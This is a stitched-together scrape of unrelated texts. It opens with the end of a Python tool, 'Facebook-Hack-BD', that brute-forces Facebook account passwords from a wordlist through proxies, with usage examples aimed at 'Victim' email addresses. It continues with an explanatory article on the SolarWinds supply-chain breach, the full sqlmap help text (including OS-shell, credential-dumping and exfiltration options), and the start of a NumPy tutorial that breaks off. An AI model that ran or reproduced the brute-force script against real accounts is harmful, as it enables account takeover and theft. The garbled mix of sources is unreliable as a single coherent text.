self.br.select_form(nr=0) self.br.form['email']=target self.br.form['pass']= password self.br.method ="POST" if self.br.submit().get_data().__contains__(b'home_icon'):return 1 elif "checkpoint" in self.br.geturl(): return 2 return 0 except(KeyboardInterrupt, EOFError): print(rd+"\n["+yl+"!"+rd+"]"+yl+" Aborting"+rd+"..."+wi) time.sleep(1.5) sys.exit(1) except Exception as e: print(rd+" Error: "+yl+str(e)+wi+"\n") time.sleep(0.60) def banner(self,target,wordlist,single_passwd): proxystatus = gr+self.useProxy+wi+"["+gr+"ON"+wi+"]" if self.useProxy else yl+"["+rd+"OFF"+yl+"]" print(gr+""" ================================== [---] """+wi+"""*CYBER_ROCKY*"""+gr+""" [---] ================================== [---] """+wi+"""Facebook-Hack-BD """+gr+""" [---] ================================== [---] """+yl+"""CONFIG"""+gr+""" [---] ================================== [>] Target :> """+wi+target+gr+""" {}""".format("[>] Wordlist :> "+yl+str(wordlist) if not single_passwd else "[>] Password :> "+yl+str(single_passwd))+gr+""" [>] ProxyStatus :> """+str(proxystatus)+wi) if not single_passwd: print(gr+"""\ =================================="""+wi+""" [~] """+yl+"""Facebook-"""+rd+"""Password-Attack: """+gr+"""Enabled """+wi+"""[~]"""+gr+""" ==================================\n"""+wi) else:print("\n") @staticmethod def updateFaceBoom(): if not os.path.isfile(versionPath): errMsg("Unable to check for updates: please re-clone the script to fix this problem") sys.exit(1) write("[~] Checking for updates...\n") conn = httplib.HTTPSConnection("raw.githubusercontent.com") conn.request("GET", "/Oseid/FaceBoom/master/core/version.txt") repoVersion = conn.getresponse().read().strip().decode() with open(versionPath) as vf: currentVersion = vf.read().strip() if repoVersion == currentVersion:write(" [*] The script is up to date!\n") else: print(" [+] An update has been found ::: Updating... ") conn.request("GET", "/Oseid/FaceBoom/master/faceboom.py") newCode = conn.getresponse().read().strip().decode() with open("faceboom.py", "w") as faceBoomScript: faceBoomScript.write(newCode) with open(versionPath, "w") as ver: ver.write(repoVersion) write(" [+] Successfully updated :)\n") parse = optparse.OptionParser(wi+""" Usage: python fb-hack-bd.py [OPTIONS...] ------------- OPTIONS: |Facebook-account💀Hacking💀Tools. ____ _ ____ _ / ___| _| |__ ___ _ __ | _ \ ___ ___| | ___ _ | | | | | | '_ \ / _ \ '__|____| |_) / _ \ / __| |/ / | | | | |__| |_| | |_) | __/ | |_____| _ < (_) | (__| <| |_| | \____\__, |_.__/ \___|_| |_| \_\___/ \___|_|\_\\__, | |___/ |___/ ............................................................ This is ***Cyber-Rocky*** Password Attack Tools. .....Made in Bangladesh..... |-------- | -t <target email> [OR] <FACEBOOK ID> ::> Specify target Email [OR] Target Profile ID |-------- | -w <wordlist Path> ::> Specify Wordlist File Path |-------- | -s <single password> ::> Specify Single Password To Check |-------- | -p <Proxy IP:PORT> ::> Specify HTTP/S Proxy (Optional) |-------- | -g <TARGET Facebook Profile URL> ::> Specify Target Facebook Profile URL For Get HIS ID |-------- | -u/--update ::> Update FaceBoom Script ------------- Examples: | |-------- |1/ python fb-hack-bd.py -t Victim@gmail.com -w /usr/share/wordlists/rockyou.txt |-------- |*2/ python fb-hack-bd.py -t 100001013078780 -w /data/data/com.termux/files/home/password.txt |-------- |3/ python fb-hack-bd.py -t Victim@hotmail.com -w \wordlist.txt -p 144.217.101.245:3129 |-------- |4/ python fb-hack-bd.py -t Victim@gmail.com -s 1234567 |-------- |5/ python fb-hack-bd.py -g https://www.facebook.com/Victim_Profile |-------- """) def Main(): parse.add_option("-t","--target",'-T','--TARGET',dest="target",type="string", help="Specify Target Email or ID") parse.add_option("-w","--wordlist",'-W','--WORDLIST',dest="wordlist",type="string", help="Specify Wordlist File ") parse.add_option("-s","--single","--S","--SINGLE",dest="single",type="string", help="Specify Single Password To Check it") parse.add_option("-p","-P","--proxy","--PROXY",dest="proxy",type="string", help="Specify HTTP/S Proxy to be used") parse.add_option("-g","-G","--getid","--GETID",dest="url",type="string", help="Specify TARGET FACEBOOK PROFILE URL to get his ID") parse.add_option("-u","-U","--update","--UPDATE", dest="update", action="store_true", default=False) (options,args) = parse.parse_args() faceboom = FaceBoom() target = options.target wordlist = options.wordlist single_passwd = options.single proxy = options.proxy target_profile = options.url update = options.update opts = [target,wordlist,single_passwd, proxy, target_profile, update] if any(opt for opt in opts): if not faceboom.cnet(): errMsg("Please Check Your Internet Connection") sys.exit(1) if update: faceboom.updateFaceBoom() sys.exit(1) elif target_profile: faceboom.get_profile_id(target_profile) sys.exit(1) elif wordlist or single_passwd: if wordlist: if not os.path.isfile(wordlist): errMsg("Please check Your Wordlist Path") sys.exit(1) if single_passwd: if len(single_passwd.strip()) < 6: errMsg("Invalid Password") print("[!] Password must be at least '6' characters long") sys.exit(1) if proxy: if proxy.count(".") != 3: errMsg("Invalid IPv4 ["+rd+str(proxy)+yl+"]") sys.exit(1) print(wi+"["+yl+"~"+wi+"] Connecting To "+wi+"Proxy[\033[1;33m {} \033[1;37m]...".format(proxy if not ":" in proxy else proxy.split(":")[0])) final_proxy = proxy+":8080" if not ":" in proxy else proxy if faceboom.check_proxy(final_proxy): faceboom.useProxy = final_proxy faceboom.br.set_proxies({'https':faceboom.useProxy, 'http':faceboom.useProxy}) print(wi+"["+gr+"Connected"+wi+"]") else: errMsg("Connection Failed") errMsg("Unable to connect to Proxy["+rd+str(proxy)+yl+"]") sys.exit(1) faceboom.banner(target,wordlist,single_passwd) loop = 1 if not single_passwd else "~" if single_passwd: passwords = [single_passwd] else: with open(wordlist, 'r', errors='replace') as f: passwords = f.readlines() for passwd in passwords: passwd = passwd.strip() if len(passwd) <6:continue write(wi+"["+yl+str(loop)+wi+"] Trying Password[ {"+yl+str(passwd)+wi+"} ]") retCode = faceboom.login(target, passwd) if retCode: sys.stdout.write(wi+" ==> Login"+gr+" Success\n") print(wi+"========================="+"="*len(passwd)+"======") print(wi+"["+gr+"+"+wi+"] Password [ "+gr+passwd+wi+" ]"+gr+" Is Correct :)") print(wi+"========================="+"="*len(passwd)+"======") if retCode == 2:print(wi+"["+yl+"!"+wi+"]"+yl+" Warning: This account use ("+rd+"2F Authentication"+yl+"):"+rd+" It's Locked"+yl+" !!!") break else: sys.stdout.write(yl+" ==> Login"+rd+" Failed\n") loop = loop + 1 if not single_passwd else "~" else: if single_passwd: print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"The Password[ "+yl+passwd+wi+" ] Is Not Correct"+rd+":("+yl+"!"+wi) print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another password or Wordlist "+gr+":)"+wi) else: print(yl+"\n["+rd+"!"+yl+"] Sorry: "+wi+"I Can't Find The Correct Password In [ "+yl+wordlist+wi+" ] "+rd+":("+yl+"!"+wi) print(gr+"["+yl+"!"+gr+"]"+yl+" Please Try Another Wordlist. "+gr+":)"+wi) sys.exit(1) else: print(parse.usage) sys.exit(1) if __name__=='__main__': Main() ############################################################## ##################### ######################### ##################### END OF TOOL ######################### ##################### ######################### ############################################################## #This Tool by Oseid Aldary #Have a nice day :) #GoodBye
Mario-Kart-Felix
2020 was a roller coaster of major, world-shaking events. We all couldn't wait for the year to end. But just as 2020 was about to close, it pulled another fast one on us: the SolarWinds hack, one of the biggest cybersecurity breaches of the 21st century. The SolarWinds hack was a major event not because a single company was breached, but because it triggered a much larger supply chain incident that affected thousands of organizations, including the U.S. government. What is SolarWinds? SolarWinds is a major software company based in Tulsa, Okla., which provides system management tools for network and infrastructure monitoring, and other technical services to hundreds of thousands of organizations around the world. Among the company's products is an IT performance monitoring system called Orion. As an IT monitoring system, SolarWinds Orion has privileged access to IT systems to obtain log and system performance data. It is that privileged position and its wide deployment that made SolarWinds a lucrative and attractive target. What is the SolarWinds hack? The SolarWinds hack is the commonly used term to refer to the supply chain breach that involved the SolarWinds Orion system. In this hack, suspected nation-state hackers that have been identified as a group known as Nobelium by Microsoft -- and often simply referred to as the SolarWinds Hackers by other researchers -- gained access to the networks, systems and data of thousands of SolarWinds customers. The breadth of the hack is unprecedented and one of the largest, if not the largest, of its kind ever recorded. More than 30,000 public and private organizations -- including local, state and federal agencies -- use the Orion network management system to manage their IT resources. As a result, the hack compromised the data, networks and systems of thousands when SolarWinds inadvertently delivered the backdoor malware as an update to the Orion software. SolarWinds customers weren't the only ones affected. Because the hack exposed the inner workings of Orion users, the hackers could potentially gain access to the data and networks of their customers and partners as well -- enabling affected victims to grow exponentially from there. Orion Platform hack compromised networks of thousands of SolarWinds customers Hackers compromised a digitally signed SolarWinds Orion network monitoring component, opening a backdoor into the networks of thousands of SolarWinds government and enterprise customers. How did the SolarWinds hack happen? The hackers used a method known as a supply chain attack to insert malicious code into the Orion system. A supply chain attack works by targeting a third party with access to an organization's systems rather than trying to hack the networks directly. The third-party software, in this case the SolarWinds Orion Platform, creates a backdoor through which hackers can access and impersonate users and accounts of victim organizations. The malware could also access system files and blend in with legitimate SolarWinds activity without detection, even by antivirus software. SolarWinds was a perfect target for this kind of supply chain attack. Because their Orion software is used by many multinational companies and government agencies, all the hackers had to do was install the malicious code into a new batch of software distributed by SolarWinds as an update or patch. The SolarWinds hack timeline Here is a timeline of the SolarWinds hack: September 2019. Threat actors gain unauthorized access to SolarWinds network October 2019. Threat actors test initial code injection into Orion Feb. 20, 2020. Malicious code known as Sunburst injected into Orion March 26, 2020. SolarWinds unknowingly starts sending out Orion software updates with hacked code According to a U.S. Department of Homeland Security advisory, the affected versions of SolarWinds Orion are versions are 2019.4 through 2020.2.1 HF1. More than 18,000 SolarWinds customers installed the malicious updates, with the malware spreading undetected. Through this code, hackers accessed SolarWinds's customer information technology systems, which they could then use to install even more malware to spy on other companies and organizations. Who was affected? According to reports, the malware affected many companies and organizations. Even government departments such as Homeland Security, State, Commerce and Treasury were affected, as there was evidence that emails were missing from their systems. Private companies such as FireEye, Microsoft, Intel, Cisco and Deloitte also suffered from this attack. The breach was first detected by cybersecurity company FireEye. The company confirmed they had been infected with the malware when they saw the infection in customer systems. FireEye labeled the SolarWinds hack "UNC2452" and identified the backdoor used to gain access to its systems through SolarWinds as "Sunburst." Microsoft also confirmed that it found signs of the malware in its systems, as the breach was affecting its customers as well. Reports indicated Microsoft's own systems were being used to further the hacking attack, but Microsoft denied this claim to news agencies. Later, the company worked with FireEye and GoDaddy to block and isolate versions of Orion known to contain the malware to cut off hackers from customers' systems. They did so by turning the domain used by the backdoor malware used in Orion as part of the SolarWinds hack into a kill switch. The kill switch here served as a mechanism to prevent Sunburst from operating further. Nonetheless, even with the kill switch in place, the hack is still ongoing. Investigators have a lot of data to look through, as many companies using the Orion software aren't yet sure if they are free from the backdoor malware. It will take a long time before the full impact of the hack is known. Why did it take so long to detect the SolarWinds attack? With attackers having first gained access to the SolarWinds systems in September 2019 and the attack not being publicly discovered or reported until December 2020, attackers may well have had 14 or more months of unfettered access. The time it takes between when an attacker is able to gain access and the time an attack is actually discovered is often referred to as dwell time. According to a report released in January 2020 by security firm CrowdStrike, the average dwell time in 2019 was 95 days. Given that it took well over a year from the time the attackers first entered the SolarWinds network until the breach was discovered, the dwell time in the attack exceeded the average. The question of why it took so long to detect the SolarWinds attack has a lot to do with the sophistication of the Sunburst code and the hackers that executed the attack. "Analysis suggests that by managing the intrusion through multiple servers based in the United States and mimicking legitimate network traffic, the attackers were able to circumvent threat detection techniques employed by both SolarWinds, other private companies, and the federal government," SolarWinds said in its analysis of the attack. FireEye, which was the first firm to publicly report the attack, conducted its own analysis of the SolarWinds attack. In its report, FireEye described in detail the complex series of action that the attackers took to mask their tracks. Even before Sunburst attempts to connect out to its command-and-control server, the malware executes a number of checks to make sure no antimalware or forensic analysis tools are running. What was the purpose of the hack? The purpose of the hack remains largely unknown. Still, there are many reasons hackers would want to get into an organization's system, including having access to future product plans or employee and customer information held for ransom. It is also not yet clear what information, if any, hackers stole from government agencies. But the level of access appears to be deep and broad. There are speculations that many enterprises might be collateral damage, as the main focus of the attack was government agencies that make use of the SolarWinds IT management systems. Who was responsible for the hack? Federal investigators and cybersecurity agents believe a Russian espionage operation -- mostly likely Russia's Foreign Intelligence Service -- is behind the SolarWinds attack. The Russian government has denied any involvement in the attack, releasing a statement that said, "Malicious activities in the information space contradicts the principles of the Russian foreign policy, national interests and understanding of interstate relations." They also added that "Russia does not conduct offensive operations in the cyber domain." Contrary to experts in his administration, then-President Donald Trump hinted at around the time of the discovery of the SolarWinds hack that Chinese hackers might be behind the cybersecurity attack. However, he did not present any evidence to back up his claim. Shortly after his inauguration, President Joe Biden vowed that his administration intended to hold Russia accountable, through the launch of a full-scale intelligence assessment and review of the SolarWinds attack and those behind it. The president also created the position of deputy national security adviser for cybersecurity as part of the National Security Council. The role, held by veteran intelligence operative Anne Neuberger, is part of an overall bid by the Biden administration to refresh the federal government's approach to cybersecurity and better respond to nation-state actors. Naming the attack: What is Solorigate, Sunburst and Nobelium? The SolarWinds attack has a number of different names associated with it. While the attack is often referred to simply as the SolarWinds attack, that isn't the only name to know. Sunburst. This is the name of the actual malicious code injection that was planted by hackers into the SolarWinds Orion IT monitoring system code. Both SolarWinds and CrowdStrike generally refer to the attack as Sunburst. Solorigate. Microsoft initially dubbed the actual threat actor group behind the SolarWinds attack as Solorigate. It's a name that stuck and was adopted by other researchers as well as media. Nobelium. In March 2021, Microsoft decided that the primary designation for the threat actor behind the SolarWinds attack should actually be Nobelium -- the idea being that the group is active against multiple victims -- not just SolarWinds -- and uses more malware than just Sunburst. The China connection to the SolarWinds attack While it is suspected that the initial Sunburst code and the attack against SolarWinds and its users came from a threat actor based in Russia, other nation-state threat actors have also used SolarWinds in attacks. According to a Reuters report, suspected nation-state hackers based in China exploited SolarWinds during the same period of time the Sunburst attack occurred. The suspected China-based threat actors targeted the National Finance Center, which is a payroll agency within the U.S. Department of Agriculture. It is suspected that the China-based attackers did not use Sunburst, but rather a different malware that SolarWinds identifies as Supernova. Why is the SolarWinds hack important? The SolarWinds supply chain attack is a global hack, as threat actors turned the Orion software into a weapon gaining access to several government systems and thousands of private systems around the world. Due to the nature of the software -- and by extension the Sunburst malware -- having access to entire networks, many government and enterprise networks and systems face the risk of significant breaches. The hack could also be the catalyst for rapid, broad change in the cybersecurity industry. Many companies and government agencies are now in the process of devising new methods to react to these types of attacks before they happen. Governments and organizations are learning that it is not enough to build a firewall and hope it protects them. They have to actively seek out vulnerabilities in their systems, and either shore them up or turn them into traps against these types of attacks. Since the hack was discovered, SolarWinds has recommended customers update their existing Orion platform. The company has released patches for the malware and other potential vulnerabilities discovered since the initial Orion attack. SolarWinds also recommended customers not able to update Orion isolate SolarWinds servers and/or change passwords for accounts that have access to those servers. The greater White House cybersecurity focus will be crucial, some industry experts have said. But organizations should consider adopting modern software-as-a-service tools for monitoring and collaboration. While the cybersecurity industry has significantly advanced in the last decade, these kinds of attacks show that there is still a long way to go to get really secure systems. The Nobelium group continues to attack targets The suspected threat actor group behind the SolarWinds attack has remained active in 2021 and hasn't stopped at just targeting SolarWinds. On May 27, 2021, Microsoft reported that Nobelium, the group allegedly behind the SolarWinds attack, infiltrated software from email marketing service Constant Contact. According to Microsoft, Nobelium targeted approximately 3,000 email accounts at more than 150 different organizations. The initial attack vector appears to be an account used by USAID. From that initial foothold, Nobelium was able to send out phishing emails in an attempt to get victims to click on a link that would deploy a backdoor Trojan designed to steal user information.
HlaingPhyoAung
Usage: python sqlmap.py [options] Options: -h, --help Show basic help message and exit -hh Show advanced help message and exit --version Show program's version number and exit -v VERBOSE Verbosity level: 0-6 (default 1) Target: At least one of these options has to be provided to define the target(s) -d DIRECT Connection string for direct database connection -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") -l LOGFILE Parse target(s) from Burp or WebScarab proxy log file -x SITEMAPURL Parse target(s) from remote sitemap(.xml) file -m BULKFILE Scan multiple targets given in a textual file -r REQUESTFILE Load HTTP request from a file -g GOOGLEDORK Process Google dork results as target URLs -c CONFIGFILE Load options from a configuration INI file Request: These options can be used to specify how to connect to the target URL --method=METHOD Force usage of given HTTP method (e.g. PUT) --data=DATA Data string to be sent through POST --param-del=PARA.. Character used for splitting parameter values --cookie=COOKIE HTTP Cookie header value --cookie-del=COO.. Character used for splitting cookie values --load-cookies=L.. File containing cookies in Netscape/wget format --drop-set-cookie Ignore Set-Cookie header from response --user-agent=AGENT HTTP User-Agent header value --random-agent Use randomly selected HTTP User-Agent header value --host=HOST HTTP Host header value --referer=REFERER HTTP Referer header value -H HEADER, --hea.. Extra header (e.g. "X-Forwarded-For: 127.0.0.1") --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") --auth-type=AUTH.. HTTP authentication type (Basic, Digest, NTLM or PKI) --auth-cred=AUTH.. HTTP authentication credentials (name:password) --auth-file=AUTH.. HTTP authentication PEM cert/private key file --ignore-401 Ignore HTTP Error 401 (Unauthorized) --proxy=PROXY Use a proxy to connect to the target URL --proxy-cred=PRO.. Proxy authentication credentials (name:password) --proxy-file=PRO.. Load proxy list from a file --ignore-proxy Ignore system default proxy settings --tor Use Tor anonymity network --tor-port=TORPORT Set Tor proxy port other than default --tor-type=TORTYPE Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5) --check-tor Check to see if Tor is used properly --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) --retries=RETRIES Retries when the connection timeouts (default 3) --randomize=RPARAM Randomly change value for given parameter(s) --safe-url=SAFEURL URL address to visit frequently during testing --safe-post=SAFE.. POST data to send to a safe URL --safe-req=SAFER.. Load safe HTTP request from a file --safe-freq=SAFE.. Test requests between two visits to a given safe URL --skip-urlencode Skip URL encoding of payload data --csrf-token=CSR.. Parameter used to hold anti-CSRF token --csrf-url=CSRFURL URL address to visit to extract anti-CSRF token --force-ssl Force usage of SSL/HTTPS --hpp Use HTTP parameter pollution method --eval=EVALCODE Evaluate provided Python code before the request (e.g. "import hashlib;id2=hashlib.md5(id).hexdigest()") Optimization: These options can be used to optimize the performance of sqlmap -o Turn on all optimization switches --predict-output Predict common queries output --keep-alive Use persistent HTTP(s) connections --null-connection Retrieve page length without actual HTTP response body --threads=THREADS Max number of concurrent HTTP(s) requests (default 1) Injection: These options can be used to specify which parameters to test for, provide custom injection payloads and optional tampering scripts -p TESTPARAMETER Testable parameter(s) --skip=SKIP Skip testing for given parameter(s) --skip-static Skip testing parameters that not appear dynamic --dbms=DBMS Force back-end DBMS to this value --dbms-cred=DBMS.. DBMS authentication credentials (user:password) --os=OS Force back-end DBMS operating system to this value --invalid-bignum Use big numbers for invalidating values --invalid-logical Use logical operations for invalidating values --invalid-string Use random strings for invalidating values --no-cast Turn off payload casting mechanism --no-escape Turn off string escaping mechanism --prefix=PREFIX Injection payload prefix string --suffix=SUFFIX Injection payload suffix string --tamper=TAMPER Use given script(s) for tampering injection data Detection: These options can be used to customize the detection phase --level=LEVEL Level of tests to perform (1-5, default 1) --risk=RISK Risk of tests to perform (1-3, default 1) --string=STRING String to match when query is evaluated to True --not-string=NOT.. String to match when query is evaluated to False --regexp=REGEXP Regexp to match when query is evaluated to True --code=CODE HTTP code to match when query is evaluated to True --text-only Compare pages based only on the textual content --titles Compare pages based only on their titles Techniques: These options can be used to tweak testing of specific SQL injection techniques --technique=TECH SQL injection techniques to use (default "BEUSTQ") --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-cols=UCOLS Range of columns to test for UNION query SQL injection --union-char=UCHAR Character to use for bruteforcing number of columns --union-from=UFROM Table to use in FROM part of UNION query SQL injection --dns-domain=DNS.. Domain name used for DNS exfiltration attack --second-order=S.. Resulting page URL searched for second-order response Fingerprint: -f, --fingerprint Perform an extensive DBMS version fingerprint Enumeration: These options can be used to enumerate the back-end database management system information, structure and data contained in the tables. Moreover you can run your own SQL statements -a, --all Retrieve everything -b, --banner Retrieve DBMS banner --current-user Retrieve DBMS current user --current-db Retrieve DBMS current database --hostname Retrieve DBMS server hostname --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users --passwords Enumerate DBMS users password hashes --privileges Enumerate DBMS users privileges --roles Enumerate DBMS users roles --dbs Enumerate DBMS databases --tables Enumerate DBMS database tables --columns Enumerate DBMS database table columns --schema Enumerate DBMS schema --count Retrieve number of entries for table(s) --dump Dump DBMS database table entries --dump-all Dump all DBMS databases tables entries --search Search column(s), table(s) and/or database name(s) --comments Retrieve DBMS comments -D DB DBMS database to enumerate -T TBL DBMS database table(s) to enumerate -C COL DBMS database table column(s) to enumerate -X EXCLUDECOL DBMS database table column(s) to not enumerate -U USER DBMS user to enumerate --exclude-sysdbs Exclude DBMS system databases when enumerating tables --pivot-column=P.. Pivot column name --where=DUMPWHERE Use WHERE condition while table dumping --start=LIMITSTART First query output entry to retrieve --stop=LIMITSTOP Last query output entry to retrieve --first=FIRSTCHAR First query output word character to retrieve --last=LASTCHAR Last query output word character to retrieve --sql-query=QUERY SQL statement to be executed --sql-shell Prompt for an interactive SQL shell --sql-file=SQLFILE Execute SQL statements from given file(s) Brute force: These options can be used to run brute force checks --common-tables Check existence of common tables --common-columns Check existence of common columns User-defined function injection: These options can be used to create custom user-defined functions --udf-inject Inject custom user-defined functions --shared-lib=SHLIB Local path of the shared library File system access: These options can be used to access the back-end database management system underlying file system --file-read=RFILE Read a file from the back-end DBMS file system --file-write=WFILE Write a local file on the back-end DBMS file system --file-dest=DFILE Back-end DBMS absolute filepath to write to Operating system access: These options can be used to access the back-end database management system underlying operating system --os-cmd=OSCMD Execute an operating system command --os-shell Prompt for an interactive operating system shell --os-pwn Prompt for an OOB shell, Meterpreter or VNC --os-smbrelay One click prompt for an OOB shell, Meterpreter or VNC --os-bof Stored procedure buffer overflow exploitation --priv-esc Database process user privilege escalation --msf-path=MSFPATH Local path where Metasploit Framework is installed --tmp-path=TMPPATH Remote absolute path of temporary files directory Windows registry access: These options can be used to access the back-end database management system Windows registry --reg-read Read a Windows registry key value --reg-add Write a Windows registry key value data --reg-del Delete a Windows registry key value --reg-key=REGKEY Windows registry key --reg-value=REGVAL Windows registry key value --reg-data=REGDATA Windows registry key value data --reg-type=REGTYPE Windows registry key value type General: These options can be used to set some general working parameters -s SESSIONFILE Load session from a stored (.sqlite) file -t TRAFFICFILE Log all HTTP traffic into a textual file --batch Never ask for user input, use the default behaviour --binary-fields=.. Result fields having binary values (e.g. "digest") --charset=CHARSET Force character encoding used for data retrieval --crawl=CRAWLDEPTH Crawl the website starting from the target URL --crawl-exclude=.. Regexp to exclude pages from crawling (e.g. "logout") --csv-del=CSVDEL Delimiting character used in CSV output (default ",") --dump-format=DU.. Format of dumped data (CSV (default), HTML or SQLITE) --eta Display for each output the estimated time of arrival --flush-session Flush session files for current target --forms Parse and test forms on target URL --fresh-queries Ignore query results stored in session file --hex Use DBMS hex function(s) for data retrieval --output-dir=OUT.. Custom output directory path --parse-errors Parse and display DBMS error messages from responses --save=SAVECONFIG Save options to a configuration INI file --scope=SCOPE Regexp to filter targets from provided proxy log --test-filter=TE.. Select tests by payloads and/or titles (e.g. ROW) --test-skip=TEST.. Skip tests by payloads and/or titles (e.g. BENCHMARK) --update Update sqlmap Miscellaneous: -z MNEMONICS Use short mnemonics (e.g. "flu,bat,ban,tec=EU") --alert=ALERT Run host OS command(s) when SQL injection is found --answers=ANSWERS Set question answers (e.g. "quit=N,follow=N") --beep Beep on question and/or when SQL injection is found --cleanup Clean up the DBMS from sqlmap specific UDF and tables --dependencies Check for missing (non-core) sqlmap dependencies --disable-coloring Disable console output coloring --gpage=GOOGLEPAGE Use Google dork results from specified page number --identify-waf Make a thorough testing for a WAF/IPS/IDS protection --skip-waf Skip heuristic detection of WAF/IPS/IDS protection --mobile Imitate smartphone through HTTP User-Agent header --offline Work in offline mode (only use session data) --page-rank Display page rank (PR) for Google dork results --purge-output Safely remove all content from output directory --smart Conduct thorough tests only if positive heuristic(s) --sqlmap-shell Prompt for an interactive sqlmap shell --wizard Simple wizard interface for beginner users
Aryia-Behroziuan
Quickstart tutorial Prerequisites Before reading this tutorial you should know a bit of Python. If you would like to refresh your memory, take a look at the Python tutorial. If you wish to work the examples in this tutorial, you must also have some software installed on your computer. Please see https://scipy.org/install.html for instructions. Learner profile This tutorial is intended as a quick overview of algebra and arrays in NumPy and want to understand how n-dimensional (n>=2) arrays are represented and can be manipulated. In particular, if you don’t know how to apply common functions to n-dimensional arrays (without using for-loops), or if you want to understand axis and shape properties for n-dimensional arrays, this tutorial might be of help. Learning Objectives After this tutorial, you should be able to: Understand the difference between one-, two- and n-dimensional arrays in NumPy; Understand how to apply some linear algebra operations to n-dimensional arrays without using for-loops; Understand axis and shape properties for n-dimensional arrays. The Basics NumPy’s main object is the homogeneous multidimensional array. It is a table of elements (usually numbers), all of the same type, indexed by a tuple of non-negative integers. In NumPy dimensions are called axes. For example, the coordinates of a point in 3D space [1, 2, 1] has one axis. That axis has 3 elements in it, so we say it has a length of 3. In the example pictured below, the array has 2 axes. The first axis has a length of 2, the second axis has a length of 3. [[ 1., 0., 0.], [ 0., 1., 2.]] NumPy’s array class is called ndarray. It is also known by the alias array. Note that numpy.array is not the same as the Standard Python Library class array.array, which only handles one-dimensional arrays and offers less functionality. The more important attributes of an ndarray object are: ndarray.ndim the number of axes (dimensions) of the array. ndarray.shape the dimensions of the array. This is a tuple of integers indicating the size of the array in each dimension. For a matrix with n rows and m columns, shape will be (n,m). The length of the shape tuple is therefore the number of axes, ndim. ndarray.size the total number of elements of the array. This is equal to the product of the elements of shape. ndarray.dtype an object describing the type of the elements in the array. One can create or specify dtype’s using standard Python types. Additionally NumPy provides types of its own. numpy.int32, numpy.int16, and numpy.float64 are some examples. ndarray.itemsize the size in bytes of each element of the array. For example, an array of elements of type float64 has itemsize 8 (=64/8), while one of type complex32 has itemsize 4 (=32/8). It is equivalent to ndarray.dtype.itemsize. ndarray.data the buffer containing the actual elements of the array. Normally, we won’t need to use this attribute because we will access the elements in an array using indexing facilities. An example >>> import numpy as np a = np.arange(15).reshape(3, 5) a array([[ 0, 1, 2, 3, 4], [ 5, 6, 7, 8, 9], [10, 11, 12, 13, 14]]) a.shape (3, 5) a.ndim 2 a.dtype.name 'int64' a.itemsize 8 a.size 15 type(a) <class 'numpy.ndarray'> b = np.array([6, 7, 8]) b array([6, 7, 8]) type(b) <class 'numpy.ndarray'> Array Creation There are several ways to create arrays. For example, you can create an array from a regular Python list or tuple using the array function. The type of the resulting array is deduced from the type of the elements in the sequences. >>> >>> import numpy as np >>> a = np.array([2,3,4]) >>> a array([2, 3, 4]) >>> a.dtype dtype('int64') >>> b = np.array([1.2, 3.5, 5.1]) >>> b.dtype dtype('float64') A frequent error consists in calling array with multiple arguments, rather than providing a single sequence as an argument. >>> >>> a = np.array(1,2,3,4) # WRONG Traceback (most recent call last): ... TypeError: array() takes from 1 to 2 positional arguments but 4 were given >>> a = np.array([1,2,3,4]) # RIGHT array transforms sequences of sequences into two-dimensional arrays, sequences of sequences of sequences into three-dimensional arrays, and so on. >>> >>> b = np.array([(1.5,2,3), (4,5,6)]) >>> b array([[1.5, 2. , 3. ], [4. , 5. , 6. ]]) The type of the array can also be explicitly specified at creation time: >>> >>> c = np.array( [ [1,2], [3,4] ], dtype=complex ) >>> c array([[1.+0.j, 2.+0.j], [3.+0.j, 4.+0.j]]) Often, the elements of an array are originally unknown, but its size is known. Hence, NumPy offers several functions to create arrays with initial placeholder content. These minimize the necessity of growing arrays, an expensive operation. The function zeros creates an array full of zeros, the function ones creates an array full of ones, and the function empty creates an array whose initial content is random and depends on the state of the memory. By default, the dtype of the created array is float64. >>> >>> np.zeros((3, 4)) array([[0., 0., 0., 0.], [0., 0., 0., 0.], [0., 0., 0., 0.]]) >>> np.ones( (2,3,4), dtype=np.int16 ) # dtype can also be specified array([[[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]], [[1, 1, 1, 1], [1, 1, 1, 1], [1, 1, 1, 1]]], dtype=int16) >>> np.empty( (2,3) ) # uninitialized array([[ 3.73603959e-262, 6.02658058e-154, 6.55490914e-260], # may vary [ 5.30498948e-313, 3.14673309e-307, 1.00000000e+000]]) To create sequences of numbers, NumPy provides the arange function which is analogous to the Python built-in range, but returns an array. >>> >>> np.arange( 10, 30, 5 ) array([10, 15, 20, 25]) >>> np.arange( 0, 2, 0.3 ) # it accepts float arguments array([0. , 0.3, 0.6, 0.9, 1.2, 1.5, 1.8]) When arange is used with floating point arguments, it is generally not possible to predict the number of elements obtained, due to the finite floating point precision. For this reason, it is usually better to use the function linspace that receives as an argument the number of elements that we want, instead of the step: >>> >>> from numpy import pi >>> np.linspace( 0, 2, 9 ) # 9 numbers from 0 to 2 array([0. , 0.25, 0.5 , 0.75, 1. , 1.25, 1.5 , 1.75, 2. ]) >>> x = np.linspace( 0, 2*pi, 100 ) # useful to evaluate function at lots of points >>> f = np.sin(x) See also array, zeros, zeros_like, ones, ones_like, empty, empty_like, arange, linspace, numpy.random.Generator.rand, numpy.random.Generator.randn, fromfunction, fromfile Printing Arrays When you print an array, NumPy displays it in a similar way to nested lists, but with the following layout: the last axis is printed from left to right, the second-to-last is printed from top to bottom, the rest are also printed from top to bottom, with each slice separated from the next by an empty line. One-dimensional arrays are then printed as rows, bidimensionals as matrices and tridimensionals as lists of matrices. >>> >>> a = np.arange(6) # 1d array >>> print(a) [0 1 2 3 4 5] >>> >>> b = np.arange(12).reshape(4,3) # 2d array >>> print(b) [[ 0 1 2] [ 3 4 5] [ 6 7 8] [ 9 10 11]] >>> >>> c = np.arange(24).reshape(2,3,4) # 3d array >>> print(c) [[[ 0 1 2 3] [ 4 5 6 7] [ 8 9 10 11]] [[12 13 14 15] [16 17 18 19] [20 21 22 23]]] See below to get more details on reshape. If an array is too large to be printed, NumPy automatically skips the central part of the array and only prints the corners: >>> >>> print(np.arange(10000)) [ 0 1 2 ... 